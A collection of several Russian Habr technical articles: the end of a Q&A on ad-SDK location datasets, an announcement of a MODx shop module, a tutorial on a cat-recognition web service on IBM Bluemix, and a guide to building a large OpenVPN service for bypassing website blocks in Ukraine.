**A.** Ярко выраженного среднего нет, точек может быть от одной до миллионов (проблема «длинного хвоста»; мы убираем пользаков с количеством точек под 5-й и за 95-й персентилью), это сильно зависит от поставщика. Сгруппировать можно, склеить тоже, но полученное облако точек не обладает закономерностями, очевидными «на глаз», это просто хаотически накиданное на карту облако. После обогащения уже видны траектории, но они обычно рвутся в самых неожиданных местах и не сильно помогают.
**Q.** Можно ли джойнить семьи? Что 2-3 устройства ходят вместе в течение нескольких выходных? Отсечь от соседей?
**A.** Сомнительно. Вряд ли у членов семьи идентичный набор приложений на абонентских терминалах, и вряд ли паттерны использования полностью совпадут. До сих пор у нас такой задачи не было, но попробовать можно. Если нам кто-нибудь закажет такое исследование, конечно, бесплатно тратить время на проверку гипотезы мы не можем.
**Q.** С точки зрения бизнеса, есть ли возможность таргетировать конкретных клиентов? Как? Есть только какой-то device\_id, но очевидно мы не знаем ни номер сотового, ни почты. Только если этот пользователь снова где-то пройдет мимо с тем же device\_id? Он статический? Либо что-то типа finger\_print и может меняться от провайдера данных?
**A.** Провайдер назначает device\_id, и это не то, что видно, например, в настройках телефона, то есть, имеет место двойная анонимизация. Никаких данных помимо того, что расписано в анатомии датасета, у нас нет. Внутри провайдера он остаётся одинаковым для одного устройства, и можно склеивать месячные датасеты, пользак с большой вероятностью останется тем же самым.
**Q.** Провайдер данных, пояснить подробнее. То есть это не сотовый оператор по вышкам, но «нечто запущенное на телефоне» что в фоне собирает локации и потом пачкой куда-то сливает? Если телефон старый, без интернета, включенного блютуза — соберут ли кто-то такие данные? Если я на трассе на заправке, нигде вайфая нет, то можно ли собрать инфу?
**A.** Это та же самая библиотека, что показывает тебе рекламу в твоих приложениях, или является его частью, такой как показ мест на карте. Работает на твоём телефоне, если ты разрешил приложениям собирать геолокацию (или это разрешение прописано у них в манифесте). Информация собирается непрерывно, пока приложение работает в фоне, при доступности сети накопленная информация отсылается пакетом в облако провайдера рекламной сети или картографического сервиса, а оттуда уже забирается агрегаторами.
**Q.** Чуть подробнее про провайдеров данных ещё. Получается, их более одного. Они все равно собирают только часть потока, 10/20/40/70%? Они как-то разбиты по территории? Могут ли пересекаться по времени/локации, по сотовому оператору, еще чему-то? Или только тупо количества можем отвечать, никакого таргетинга?
**A.** Да, их много, но про доли мы точно не знаем. У кого-то лучше по одной стране, у кого-то — по другой. Заказчики обычно сами говорят, чьи данные они хотят обработать. Склеить пользаков в датасетах разных поставщиков по одному и тому же региону за один и тот же промежуток времени у нас достоверно не получилось. Таргетинг у всех поставщиков одинаковый — по геофенсу региона. Страна, префектура, город, и т.п., но пересечений между ними не заметно.
Если у вас есть ещё вопросы, не стесняйтесь их задавать в комментах Гене [keskiy](https://habr.com/ru/users/keskiy/) и Евгению [mitra\_kun](https://habr.com/ru/users/mitra_kun/). Ребята довольно заняты, но на интересные и осмысленные вопросы по обработке данных пользаков и ведению базы поёв обязательно ответят в течение нескольких дней.
С вопросами технического плана рекомендую повременить до финала данной серии статей. | https://habr.com/ru/post/485484/ | null | ru | null |
# Shopkeeper — модуль интернет-магазина для MODx

Приветствую, хабралюди!
Хочу рассказать вам и всем читателям Хабра о своем проекте. Ваша оценка мне будет очень полезна. Суть этого проекта — бесплатный движок для создания интернет-магазина, а точнее модуль для CMS [MODx](http://modxcms.com/). Называется он [Shopkeeper](http://modx-shopkeeper.ru/). Думаю многим, кто разрабатывает сайты на MODx этот модуль (сниппет) уже известен, но, возможно, информация о данной альтернативе для создания интернет-магазинов также будет интересна пользователям других CMS. Здесь, на Хабре, довольно часто обсуждались подобные модули и движки, надеюсь Шопкипер не будет воспринят как очередной велосипед :).
C MODx я познакомился осенью 2008-го. До сих пор помню первые свои впечатления. Я по-настоящему был поражен универсальностью применяемых решений и очень был рад, что теперь не придется изменять HTML(CSS)-верстку для подключения системы управления или верстать по каким-то правилам, как это было с другими бесплатными CMS. С тех пор я выкинул из головы попытки написать свою собственную CMS, а когда возникла потребность создать для себя интернет-магазин, очень не хотелось делать его на каком-то другом движке или фреймворке, т.к. готовых качественных модулей для MODx тогда совсем не было. Хотя я сам в то время только начинал изучать программирование, качество существующих решений для создания магазина на MODx меня крайне не устраивало.
Итак, в январе 2009 года вышла первая версия Шопкипера. Тогда он умел только запоминать выбранные товары и отправлять список (и данные покупателя) на почту. После того как я выложил свой сниппет для свободного скачивания на форуме, пользователи начали проявлять не малый интерес. Много комментариев и личных сообщений приходило также от людей из англоязычного сообщества MODx. Я очень увлекся этой работой. Кроме PHP мне было интересно «играться» с JavaScript, а точнее с jQuery. Это что-то вроде хобби, которое сейчас переросло в стартап.
Совсем недавно у Shopkeeper появился свой сайт, где есть описание возможностей, демонстрация работы, документация и форум. Вот основные возможности на данный момент:
* Управление заказами (редактирование, статусы, информирование покупателей);
* Возможность расширить функционал за счет других дополнений MODx;
* Дополнительные параметры для товаров с возможностью изменения цены (сумма и умножение) при выборе;
* Возможность полностью менять верстку корзины (шаблоны);
* Учет товара на складе;
* Работает с JavaScript (Ajax) и без него;
* Возможность выбора цвета или материала для товара;
* Возможность создавать плагины без изменения кода Shopkeeper;
* Личный кабинет покупателя (платное дополнение);
* Работа с электронными деньгами (платное дополнение).
Коротко как это работает
========================
В шаблон каталога вставляется примерно такая строка с параметрами сниппета:
`[!Shopkeeper? &cartTpl=`shopCart`&orderFormPage=`15`&changePrice=`1`&flyToCart=`image`!]`
В этом месте на сайте выведется корзина для товаров

Сами товары нужно выводить с помощью другого сниппета — Ditto

Также используется базовый сниппет eForm — для оформления заявки и отправки заказа на почту и в модуль:

Создавая Shopkeeper, я стремлюсь не отступать от идеологии MODx — максимальная универсальность и удобство (получается или нет судить вам). Очень приятно видеть как с каждым днем в Интернет растет число магазинов, работающих на базе MODx + Shopkeeper. Скоро планируется перевести Шопкипер на новый MODx Revolution.
---
Опубликовано по просьбе [Andchir](https://habrahabr.ru/users/andchir/).
Я сам, кстати, уже давно слышал о данной разработке и внимательно слижу за ней. Вообще наших разработок мало, вспоминается разве что SBShop, а иностранные аналоги вообще почти все заглохли. Но я уверен, что наши разработчики продвинуться дальше в этом нелегком деле и при этом еще и останутся фрифаре для нашего modx сообщества) | https://habr.com/ru/post/104303/ | null | ru | null |
# Сервис распознавания котов
Проблемой распознавания котов на изображениях нельзя пренебрегать. Как вариант, для её решения можно создать и обучить свой собственный классификатор, для чего потребуются десятки тысяч пушистых фотографий и несколько месяцев работы по подготовке набора данных и, собственно, само обучение. Жаль только, что готового классификатора, обученного именно на котов, на просторах сети найти не удалось.
Да и вообще, можно ли создать сервис, уверенно распознающий котов с учётом присущего последним стремления принять самую неожиданную позу? Давайте попробуем.

Для решения поставленной задачи была выбрана PaaS-платформа **[IBM Bluemix](http://bluemix.net/)**, которая объединяет около сотни различных сервисов на все случаи жизни. Там есть отдельная группа Watson, содержащая различные инструменты для решения задач когнитивных вычислений – очень похоже на то, что нам нужно.
Среди сервисов Watson обнаружилось нечто под названием AlchemyAPI, что, в свою очередь, выглядит как универсальный набор когнитивного алхимика, представленный в виде унифицированных REST API. И там есть API для Image Tagging. API очень простой. Просто передаём ему изображение либо в виде файла, либо в виде URL, а он возвращает JSON c набором тегов и коэффициентов релевантности. То есть всё, что нужно будет сделать, это написать небольшой сервис, который будет получать файл с картинкой, отправлять его AlchemyAPI и говорить нам, что в результате получилось.
Разработка была на питоне, в качестве HTTP-сервера взяли Tornado. В принципе, можно взять любой другой, просто к Tornado я привык и на нём все получается просто и быстро.
Теперь нам нужно создать условия для разработки нашего приложения. Сделаем это таким образом, чтобы писать и отлаживать код можно было на своём компьютере, а затем перенести то, что получилось в облако Bluemix не внося никаких дополнительных изменении.

Начнем с того, что создадим под нашим аккаунтом на Bluemix рабочую среду на питоне. Если у вас ещё нет аккаунта, зарегистрируйтесь – это быстро, бесплатно и без СМС. Идём в раздел **Dashboard** и нажимаем **Create App**, затем выбираем тип приложения **Web** и получаем список доступных сред для работы нашего сервиса (нам нужен Python). Добавляем сервису имя (я назвал его catreco) и где-то через полминуты вы увидите, что среда создана, и там находится Hello World посмотреть на который можно по ссылке [http://catreco.mybluemix.net](http://catreco.mybluemix.net/).

Теперь пора заняться делом. Bluemix предлагает два способа сихронизации рабочей среды между локальным компьютером и облаком: интерфейс командной строки CF и привычный большинству из нас GIT, который мы и выберем. В меню слева нажимаем на Overview и попадаем на страницу нашего приложения. Нажимаем кнопку **Add GIT** и у нас появляется GIT URL, указывающий на только что созданный репозиторий, содержащий Hello World.
Сам по себе Hello World мало интересен, однако, репозиторий содержит несколько полезных файлов, необходимых для развертывания нашего приложения в облаке.

Склонируем этот репозиторий на наш компьютер:
```
git clone <адрес репозитория>
```
Нам понадобятся следующие файлы (остальное можно удалить):
```
manifest.yml,
Procfile,
requirements.txt.
```
Теперь дело за нашим сервисом-распознавателем. Его код я выложил [сюда](https://github.com/SSoldatov/catreco.git). Загрузите его на свой компьютер и скопируйте содержимое в папку catreco. В самом коде нет ничего заслуживающего особого внимания – лишь несколько десятков строк, поэтому я не буду его подробно комментировать. Хотя и есть несколько нюансов.
 Во-первых, нужно подключить сервис AlchemyAPI, для чего возвращаемся на Bluemix в раздел **Dashboard** и нажимаем кнопку **Use Services or APIs,** а затем выбираем сервис AlchemyAPI. На странице конфигурации сервиса указано, что нужно создать аккаунт на самом AlchemyAPI – заходим по ссылке, создаём аккаунт и получаем на почту ключ. Этот ключ нужно скопировать в переменную APIKEY в файле webserver.py. На этом конфигурацию сервиса можно считать законченной.
Во-вторых, при запуске HTTP-сервера в своей рабочей среде Bluemix использует специальный порт, отличный от 80-го и уже затем, с помощью внутренних механизмов маршрутизации, позволяет вам обращаться к вашему приложению по 80 порту. Нужно это предусмотреть в коде сервера webserver.py:
```
PORT = int(os.getenv('VCAP_APP_PORT', 8080))
…
application.listen(PORT)
```
То есть если мы находимся в среде Bluemix, то сервер будет запущен по порту, содержащемуся в переменной 'VCAP\_APP\_PORT', а с локальной машины по порту 8080 или тому, который будет удобен. В большинстве случаев, это единственная специфическая настройка, которую вам нужно предусмотреть при переносе вашего кода в среду Bluemix.
В третьих, нужно подготовить среду на Bluemix к запуску нашего приложения. В данный момент там есть только python 2.7.8 и стандартные библиотеки, а нам нужно ещё установить Tornado и модуль requests, объяснить Bluemix какой файл должен быть запущен. За это и отвечают файлы, которые мы забрали из Hello World.
Файл manifest.yml содержит конфигурацию нашей рабочей среды. Здесь мы ничего менять не будем:
```
applications:
- disk_quota: 1024M
host: catreco
name: catreco
path: .
domain: mybluemix.net
instances: 1
memory: 128M
```
Файл Procfile содержит информацию о том, какой командой запускать наше приложение. Наш исполняемый файл называется webserver.py, поэтому пишем:
```
web: python webserver.py
```
Файл requirements.txt содержит список модулей, которые должны быть установлены в рабочей среде. Увидев этот список, Bluemix запустит pip и установит всё необходимое:
```
tornado>=4.0
requests>=2.7
```
На этом подготовка закончена. Мы сконфигурировали внешний сервис AlchemyAPI, учли особенности среды Bluemix при запуске HTTP-сервера и задали необходимые параметры для развёртывания нашего приложения в облаке.

Попробовать запустить приложение можно на локальной машине, для чего в командной строке пишем python webserver.py и набираем в браузере заветный localhost:8080

То есть то, что лежит у меня на коленях, является котом с вероятностью 91%. Я пробовал другие ракурсы, брал картинки из сети – работает! Так что дело за малым – перенестись в облака. В папке, куда мы сначала склонировали Hello World, а затем разместили код нашего проекта, уже есть всё необходимое – дальще просто обновляем локальный репозиторий:
```
git add .
git commit –m "first deployment"
```
И отправляем его обратно на Bluemix:
```
git push
```

Bluemix проделает все необходимые операции по сборке нового приложения (вместо Hello World теперь будет наш код) и запустит его. Как только статус нашего приложения станет **Your app is running**, можно пойти по ссылке <http://catreco.mybluemix.net/> и убедиться, что наш сервис работает в облаке, его можно попробовать с любого устройства. Красивый плагин для загрузки файлов взят [отсюда](http://plugins.krajee.com/file-input).
Примеры работы:
Cat — 94%

Cat — 48%, pet — 63%

Cat — 89%, rabbit — 80%

Cat — 99%, kitten — 50%

Cat — 71%, dog — 59%

Предыдущая картинка похожа на тигра, при этом: tiger — 99%, cat — 75%

Dog — 99%, puppy — 68%

Dog — 99%

Cat — 99%, dog — 57%

Cat: 99%

Cat — 65%, eagle — 43%

Если вы где-то ошиблись и что-то пошло не так – don’t panic. Над статусом вашего приложения на панели Bluemix есть волшебная кнопка **Edit Code**, нажатие которой перенесёт вас в сервис DevOps, где есть редактор кода, средства управления репозиторием и построением билдов, а также доступ ко всем логам. Сервис большой и его описание займёт больше времени, чем весь наш проект – если и потребуется, то обратитесь к [документации](https://www.ng.bluemix.net/docs/#services/DeliveryPipeline/index.html).
Вместо вывода:
1. Мы научились распознавать котов с помощью простого веб-приложения и сервиса, предоставляемого платформой Bluemix;
2. Мы теперь знаем, как подготовить приложение для размещения в облаке Bluemix и как, собственно, разместить его с помощью одной команды git;
3. Мы знаем куда смотреть если что-то пошло не так;
4. Как вы уже поняли, дело может не ограничиваться только лишь котами.

По-моему, неплохо для одного дождливого утра? Расчехляйте папки с котиками, [пробуйте](http://catreco.mybluemix.net/). Котики, мотайте на ус, как теперь лучше маскироваться.
UPD:
Сервисы от пользователей (если вдруг кончился лимит):
[le\_den](http://habrahabr.ru/users/le_den/) [catreco.eu-gb.mybluemix.net](http://catreco.eu-gb.mybluemix.net)
[inwardik](http://habrahabr.ru/users/inwardik/) [rcat.mybluemix.net](http://rcat.mybluemix.net/)
Петр П. (аккаунта нет, скинул в ВК) [2catreco.mybluemix.net](http://2catreco.mybluemix.net/)
Спасибо вам, что не остались в стороне :) Проблема распознавания котов действительно очень важна. | https://habr.com/ru/post/262911/ | null | ru | null |
# Как держать 20 тысяч VPN клиентов на серверах за $5
Месяц назад мы с друзьями сделали бесплатный сервис для обхода блокировок сайтов в Украине [Zaborona.Help](https://zaborona.help). За это время сервис стал довольно популярным, аудитория выросла до 20 000 пользователей. Число одновременных подключений в пиковые часы — ≈6 000 клиентов.
Главная особенность нашего сервиса в том, что через VPN маршрутизируется трафик только к заблокированным сетям, остальные сайты работают напрямую. Это не влияет на скорость интернета и не подменяет IP-адрес для остальных сайтов.
В статье описываются тонкости настройки OpenVPN для большого числа клиентов, на дешевых VPS.
* Как выбрать подходящий хостинг. Отличительные черты плохого хостинга. История о том, как мы долго искали и нашли хостинг в России.
* Почему IPv6 — хорошо. Правильная настройка IPv6-адресов для VPN-клиентов.
* Изменение конфигурации OpenVPN на лету, без перезапуска сервера и отключения клиентов.
* Балансировка нагрузки между серверами и процессами OpenVPN
* Тонкая настройка Linux для большого числа подключений
* Особенности кривых операционных систем и роутеров пользователей
Наш опыт будет полезен для тех, кто собирается развернуть VPN для личных нужд, и тех, кто хочет создать сервис с большим числом клиентов.
Хостинг
-------
Поначалу мы использовали несколько серверов в Европе у провайдеров Scaleway, Linode, DigitalOcean. Это были самые дешевые VPS, за $3-5. Сразу же пользователи начали жаловаться, что из-за европейских IP-адресов Яндекс.Музыка и музыка VK.com недоступна. Мы начали искать подходящий хостинг в СНГ.
Оказалось, что отечественных хостеров, сравнимых по уровню услуг с европейскими, не существует. Почти всегда это низкое качество услуг при высокой цене, сложная процедура заказа, устаревшие технологии. За время поиска мы успели сформировать список отличительных черт плохого хостинга.
### Отличительные черты убогого хостинга
* **Использование термина VDS** вместо VPS. Хоть в самой аббревиатуре нет ничего страшного, это своего рода черная метка, которая практически гарантирует низкий уровень сервиса и интерфейс панели управления из 90-х годов.
* **Панель BillManager, ISPmanager и т.д.** — эталон переусложненного интерфейса с кучей кнопок, непонятных меню. Процесс заказа сервера в таких панелях выполняется в несколько этапов. Панель управления самим сервером обычно находится на отдельном от панели заказа поддомене, с отдельным логином-паролем, переход в которую осуществляется не самым очевидным способом. Процесс заказа или изменения услуги превращается в настоящие мучение, часто требующее обращение в техподдержку. Если процедура заказа сервера требует больше нескольких кликов и занимает больше двух минут — это плохой хостинг.
* 
*Интерфейс панели управления BillManager — отличительная черта устаревшего хостинга*
* **Непонимание принципов IPv6.** Многие хостеры выделяют один IPv6-адрес и требуют плату за каждый дополнительный. Сеть /64 будет стоить квинтиллионы долларов.
* **Виртуализация OpenVZ.**Большинство коммерческих VPS-провайдеров OpenVZ используют интерфейс venet, и панели, которые не позволяют назначать подсеть IPv6-адресов на отдельный контейнер, а только по одному отдельному адресу (/128) на интерфейс. Такие адреса нельзя нормально раздавать клиентам VPN.
Попробовав несколько хостингов, мы почти отчаялись. Казалось, что в России просто не существует нормального хостинг-провайдера для наших нужд. Я разослал письмо всем хостерам, которых смог найти на сайтах-агрегаторах хостинга, в котором описал наши требования, и попросил бесплатно предоставить нам площадку в обмен на рекламу на нашем сайте.
### Наши требования к VPS-серверам
* **Виртуализация XEN или KVM.** OpenVZ в большинстве случаев не позволяет нормально управлять IPv6-адресами, имеет ограничения на настройку переменных ядра (sysctl). Для некоторых нужд OpenVZ вполне пригоден, но не для большого и высоконагруженного VPN-сервера.
* **Мощный серверный процессор.** Некоторые провайдеры, вроде Scaleway, предлагают бюджетные VPS-серверы на маломощных процессорах ARM или Intel Atom. Бывают даже серверы на процессорах VIA. На таких системах OpenVPN работает медленно, но не из-за шифрования, как можно было бы предположить. Модуль tun, который используется OpenVPN для создания сетевого интерфейса, не оптимизирован под высокие нагрузки: он принимает или отдает только один пакет за системный вызов, из-за чего происходит большое количество переключений контекста между режимом ядра и пользователя. Чем медленнее частота памяти и дешевле процессор, тем медленнее происходит переключение. Кроме того, в коде OpenVPN используются системные вызовы recv и send, оперирующие единичными сетевыми пакетами, из-за чего отправка зашифрованных пакетов тоже происходит не самым оптимальным образом. Поэтому для нормальной работы OpenVPN важно иметь быстрый процессор и память.
* **Безлимитный трафик** и хорошие каналы. Пользователи потребляют много медиа-контента в социальных сетях, трафик расходуется очень быстро. Тарифы с низкой квотой трафика (1ТБ) расходуются за сутки.
* **Отдельная маршрутизируемая сеть IPv6** необходима для прямого выделения реальных адресов клиентам. Большинство хостеров даже не понимают, что это значит, и просто назначают на сетевом интерфейсе гипервизора требуемую подсеть, а не создают запись в таблице маршрутизации через существующую (или через link-local-адрес). Это не позволяет без костылей назначить выданный диапазон на сетевой интерфейс VPN и выдавать IPv6-адреса напрямую клиентам: гипервизор хостера отправит NDP-запрос (аналог ARP для IPv6) виртуальной машине, виртуалка не найдет у себя этот адрес, не ответит на запрос, и ничего не заработает. Существуют [NDP-прокси](https://github.com/DanielAdolfsson/ndppd), которые позволяют обойти эту проблему, но это неудобно, и из-за этого может создаваться дополнительная нагрузка на гипервизор и маршрутизаторы хостера.
На наш запрос откликнулось около десятка компаний, но почти все из них имели признаки убогого хостинга и не подходили. В результате мы-таки нашли **ЕДИНСТВЕННОГО** хостинг-провайдера, удовлетворяющего всем нашим нуждам.
Это звучит странно, но я готов аргументированно доказать в комментариях, что 99% отечественных хостеров — фуфло, недотягивающее до уровня Европы. Особенно буду рад пообщаться с представителями крупных компаний, вроде МастерХост, REG.ru, 1GB.ru, Timeweb.
### Как мы подружились с Veesp.com
Настоящим открытием для нас стал хостер [Veesp.com](https://veesp.com/) с датацентром в Санкт-Петербурге. Это единственный хостер, который знал как правильно готовить IPv6. На каждый VPS сервер выделяется сеть /64 и по запросу /56.
У них есть две линейки тарифов VPS. Мы используем тариф [«Storage 1»](https://veesp.com/ru/products/storage-vps), с безлимитным трафиком. Сервера на этом тарифе имеют процессор Intel Xeon X5650. Также есть линейка тарифов [«Compute»](https://veesp.com/ru/products/vps), с SSD диском, мощным процессором Intel Xeon E5v4 и памятью DDR4.
[](https://veesp.com/ru/products/vps)Линейка тарифов Compute VPS провайдера Veesp.com
Панель управления сравнима по удобству с DigitalOcean. Есть даже оплата через Bitcoin!
На текущий момент мы полностью переехали на площадку Veesp.com и используем шесть серверов Storage 1 для OpenVPN. Музыка в VK и Яндексе снова работает, пользователи довольны.
IPv6
----
Я очень люблю IPv6. Он позволяет избавиться от кучи ненужных сущностей, вроде NAT и проброса портов. Для VPN он удобен тем, что каждый клиент ходит в интернет со своим реальным IP-адресом. К сожалению, многие хостинг-провайдеры и системные администраторы противятся и недолюбливают этот протокол, из-за этого его неправильно настраивают и используют.
Самая распространенная ошибка — выдавать один IPv6-адрес на сервер.
Сайт [slash64.net](http://slash64.net/) посвященный этому заблуждению.
### Почему нужно выделять минимум /64 на каждый конечный узел
* Для простоты. Согласно [RFC 6177](https://tools.ietf.org/html/rfc6177#section-5), сеть /64 является рекомендуемым блоком для всех конечных узлов, будь то домашний интернет или хостинг. Это 2⁶⁴, или восемнадцать квинтиллионов IP-адресов. Такой подход избавит от путаницы и угадывания, как именно настроена сеть на каждом отдельном узле.
* Меньшее потребление памяти на маршрутизаторах. Сетевому администратору достаточно маршрутизировать на ваш одну большую подсеть, а не несколько мелких.
* Не ломает протокол автоконфигурации [SLAAC](https://en.wikipedia.org/wiki/IPv6#Stateless_address_autoconfiguration_.28SLAAC.29). Если вы, вдруг, захотите сделать полноценную локальную сеть (L2) поверх интернета, в ней будет корректно работать IPv6.
* По логике Email-провайдеров, крупных сайтов вроде Google и Facebook, один клиент — одна /64 сеть. Поэтому, если хостер выдает разным клиентам адреса из одного диапазона /64, вас могут заблокировать за действия, которые совершили соседи по диапазону.
* IPv6-адреса не должны продаваться поштучно. Это глупость, потому что минимальный рекомендованный блок /64, который должен выдаваться бесплатно, будет стоить квинтиллионы денег, даже если цена за один IP-адрес будет один рубль.
Чтобы выдавать клиентам VPN IPv6-адреса напрямую без костылей, нужно иметь отдельную маршрутизируемую сеть через IPv6-адрес на сервере, то есть подсеть, из которой планируется раздавать адреса клиентам, не должна быть назначена на интерфейс сервера, но должна маршрутизироваться через какой-либо адрес на сетевом интерфейсе сервера.
Существует два распространенных варианта раздачи маршрутизируемах сетей.
Первый вариант: одна /64 на сетевом интерфейсе, и /56, маршрутизируемая через первую /64. Вы можете побить /56 так, как вам хочется, либо же назначить всю /56 на интерфейс VPN.
Второй вариант: одна или несколько /64 (или больше), маршрутизирутизируемая через link-local-адрес.
У большинства хостеров выделенную сеть нужно заказывать отдельно. [Veesp.com](https://Veesp.com) выдает блок /56 на каждый сервер бесплатно. К сожалению, даже продвинутые хостеры, вроде DigitalOcean, не предоставляют такой услуги. Здесь есть список хостеров, предоставляющих данную услугу [version6.ru/vps](https://version6.ru/vps), от @rm.
NAT и Firewall
--------------
На серверах забороны больше двух сотен правил iptables, по несколько на каждый диапазон [из списка запрещенных в Украине сетей](https://zaborona.help/ips.txt).
Сложный набор правил неудобно обслуживать стандартными средствами `iptables-save` и `iptables-restore`, потому что в случае изменения одного правила, необходимо будет редактировать сотни однотипных строк.
### Упрощаем написание правил файрволла с помощью ferm
[Ferm](http://ferm.foo-projects.org/) — утилита для управления сложными правилами iptables со своим синтаксическим сахаром. Она позволяет создать удобочитаемую конфигурацию iptables, использовать переменные, массивы и циклы, но не ограничивает вас, в отличие от других надстроек над iptables: вы можете делать абсолютно все, использовать все возможности и модули netfilter.
Простой пример: мы хотим заблокировать входящие соединения из нескольких тысяч сетей на трех сетевых интерфейсах eth0, eth1, eth2. В обычном случае нужно было бы написать тысячи одинаковых правил для каждого интерфейса.
Вот как эта задача решается через ferm:
```
@def $WAN_0 = eth0;
@def $WAN_1 = eth1;
@def $WAN_2 = eth2;
@def $BLOCKED_NETWORKS = (
123.123.123.123
234.234.234.234
....
);
chain INPUT {
saddr $BLOCKED_NETWORKS of ($WAN_0 $WAN_1 $WAN_2) DROP;
}
```
В результате будет создано правило для каждого адреса из $BLOCKED\_NETWORKS на каждый сетевой интерфейс. Такая запись легко читается и занимает в три раза меньше строк. Ее проще редактировать.
В нашем случае iptables выполняет три функции: NAT для IPv4-соединений, ограничение доступа в другие сети и балансировка нагрузки между процессами OpenVPN. Разберем каждую задачу подробно.
#### NAT для IPv4-соединений
Клиентам выдается «серый» IP-адрес из диапазона 192.168.\*.\*, поэтому маршрутизировать его напрямую в интернет нельзя. Для того, чтобы выпустить клиентов в IPv4-интернет, нужно использовать [преобразование сетевых адресов (NAT)](https://ru.wikipedia.org/wiki/NAT).
Тем же самым занимается ваш домашний WiFi-роутер. На каждое исходящие соединение клиента создается трансляция в памяти сервера, которая хранит информацию о том, кому какое подключение принадлежит. Несмотря на то, что эта операция требует мало ресурсов сервера, при огромном количестве подключений (десятки тысяч), это может стать ресурсоемкой задачей для слабого сервера.
Этой проблемы нет в IPv6, так как каждому VPN-клиенту выдается реальный IP-адрес, который напрямую маршрутизируется в интернет. Серверу остается только перебрасывать пакеты с одного интерфейса на другой, без создания трансляций и хранения информации о каждом подключении.
#### Ограничение доступа в другие сети
Любой пользователь может добавить опцию *redirect-gateway* в конфиг OpenVPN и использовать наши сервера как маршрут по умолчанию. Нужно закрыть доступ ко всем сетям, кроме заблокированных в Украине.
#### Балансировка нагрузки между процессами OpenVPN
Архитектура OpenVPN однопоточная, поэтому один процесс демона OpenVPN использует только одно ядро процессора. Для лучшей утилизации всех ядер процессора, число процессов должно равняться количеству ядер на сервере. Балансировка между процессами выполняется с помощью модуля **statistic**, который случайном образом перенаправляет входящие подключения на разные внутренние порты.
Балансировка между серверами
----------------------------
Мы используем самый простой способ балансировки — с помощью множественных А-записей DNS. Все клиенты подключаются к серверу через доменное имя **vpn.zaborona.help**. Этот домен имеет шесть А-записей, которые направлены на все сервера. В итоге, в момент подключения, клиент выбирает случайный сервер из доступных. Так общее число подключений равномерно распределяется между всеми серверами. Конфигурация OpenVPN на всех серверах идентична, за исключением диапазонов IPv6-адресов, выдаваемых клиентам.

*Панель управления DNS-записями. Балансировка с помощью множественых А-записей. Малое значение TTL позволяет быстро удалять адреса из общего списка.*
Можно быстро посмотреть, на какие IP-адреса резолвится домен из разных точек планеты, с помощью сервиса [host-tracker.com](https://www.host-tracker.com/), выбрав любой из тестов, например http или ping.
Результат для домена vpn.zaborona.help: [www.host-tracker.com/InstantCheck/ResultComplete/ec0e5a90-ed56-e711-b124-0003ff7328cc](https://www.host-tracker.com/InstantCheck/ResultComplete/ec0e5a90-ed56-e711-b124-0003ff7328cc)
Рекурсивные DNS-резолверы
-------------------------
Многие украинские провайдеры блокируют DNS-запросы к запрещенным доменам, перехватывая запросы в том числе и к сторонним DNS-серверам, вроде 8.8.8.8. Поэтому важно, чтобы клиенты посылали DNS-запросы через VPN тоннель, где их не сможет модифицировать провайдер.
Это не так просто сделать, потому что в новых версиях Windows запросы могут уходить ко всем DNS-серверам в системе, и будет использоваться тот, который ответит быстрее. DNS-сервер провайдера находится физически ближе к клиенту, поэтому, с большой вероятностью, система быстрее получит подмененный ответ провайдера, а не корректный ответ DNS внутри VPN, и сайт останется заблокирован.
Для решения этой проблемы [ValdikSS](https://habrahabr.ru/users/valdikss/) написал [патч для OpenVPN, блокирующий утечки DNS в Windows](https://habrahabr.ru/post/268173/). Он использует Windows Filtering Platform — специальный слой файрволла Windows, позволяющий блокировать запросы к сторонним DNS, пока запущен OpenVPN.
Разворачивание сервера
----------------------
В комментариях к предыдущей статье меня упрекали в том, что некоторые этапы, которые мне казались очевидными, не описаны. Здесь я опишу полный набор команд для разворачивания сервера забороны.
Конфиги максимально унифицированы и могут быть без изменений развернуты на сервере. Это удобно при использоватии инструментов автоматического деплоя, вроде Ansible.
Единственное уникальные данные для каждого сервера — подсеть IPv6, подписанная в конфигурационном файле OpenVPN.
На серверах используется **Ubuntu 16.04 LTS** с ядром 4.4.0.
#### Установка пакетов
В репозитории дистрибутива содержится устаревшая версия OpenVPN 2.3, поэтому добавляем официальные репозитории проекта с OpenVPN 2.4. Все остальные пакеты ставим из стандартной поставки.
```
wget -O - https://swupdate.openvpn.net/repos/repo-public.gpg|apt-key add -
echo "deb http://build.openvpn.net/debian/openvpn/release/2.4 xenial main" > /etc/apt/sources.list.d/openvpn-aptrepo.list
apt update
apt upgrade
apt install openvpn dnsmasq ferm
```
#### Конфигурация OpenVPN
Так как все сервера настроены идентично, просто копируем конфиги вместе с файлами ключей и сертификатам в папку **/etc/openvpn**. Никакой генерации ключей/сертификатов не выполняется. Число процессов OpenVPN настраивает по числу ядер на сервере, в нашем случае 2. Каждый отдельный процесс имеет свой конфиг: zaborona1.conf и zaborona2.conf.
Чтобы избежать путаницы, я буду называть процессы OpenVPN демонами, но сути это несколько отдельных серверов, запущенных внутри одного VPS.
Список файлов в `/etc/openvpn`
```
/etc/openvpn/zaborona1.conf # конфиг первого демона
/etc/openvpn/zaborona2.conf # конфиг второго демона
/etc/openvpn/ccd/DEFAULT # файл с изменяемым на лету настройками для первого демона
/etc/openvpn/ccd2/DEFAULT # файл с изменяемым на лету настройками для второго демона
/etc/openvpn/logs # папка с логами
/etc/openvpn/ca.crt # корневой сертификат
/etc/openvpn/zaborona.help.crt # сертификат сервера
/etc/openvpn/zaborona.help.key # ключ сервера
/etc/openvpn/dh2048.pem # файл с Diffie-Hellman группами (необходим для шифрования)
```
Содержимое файлов:
**zaborona1.conf**
```
mode server
# Несмотря на то, что протокол UDP быстрее, мы используем TCP для экономии трафика и аккумулятора мобильных уcтройств, так как в режиме UDP клиент вынужден чаще посылать keep-alive пакеты, чтобы поддерживать NAT-трансляцию на роутере или CGNAT.
proto tcp
# Тип инкапсуляции L3, то есть ip уровень. Нам не нужен L2 уровень.
dev-type tun
# Имя tun-интерфейса на сервере
dev zaborona1
# Раздавать клиенту адреса из общей /24, а не резать на подсети /30.
topology subnet
# Диапазон "серых" ipv4-адресов, выдаваемых клиентам.
server 192.168.224.0 255.255.252.0
# Диапазон реальных ipv6-адресов, выдаваемых клиентам. Уникален для каждого сервера.
server-ipv6 2a00:1838:32:200::/112
txqueuelen 250
keepalive 300 900
persist-tun
persist-key
cipher AES-128-CBC
ncp-ciphers AES-128-GCM
#user nobody
duplicate-cn
log logs/zaborona1.log
status logs/status1.log 30
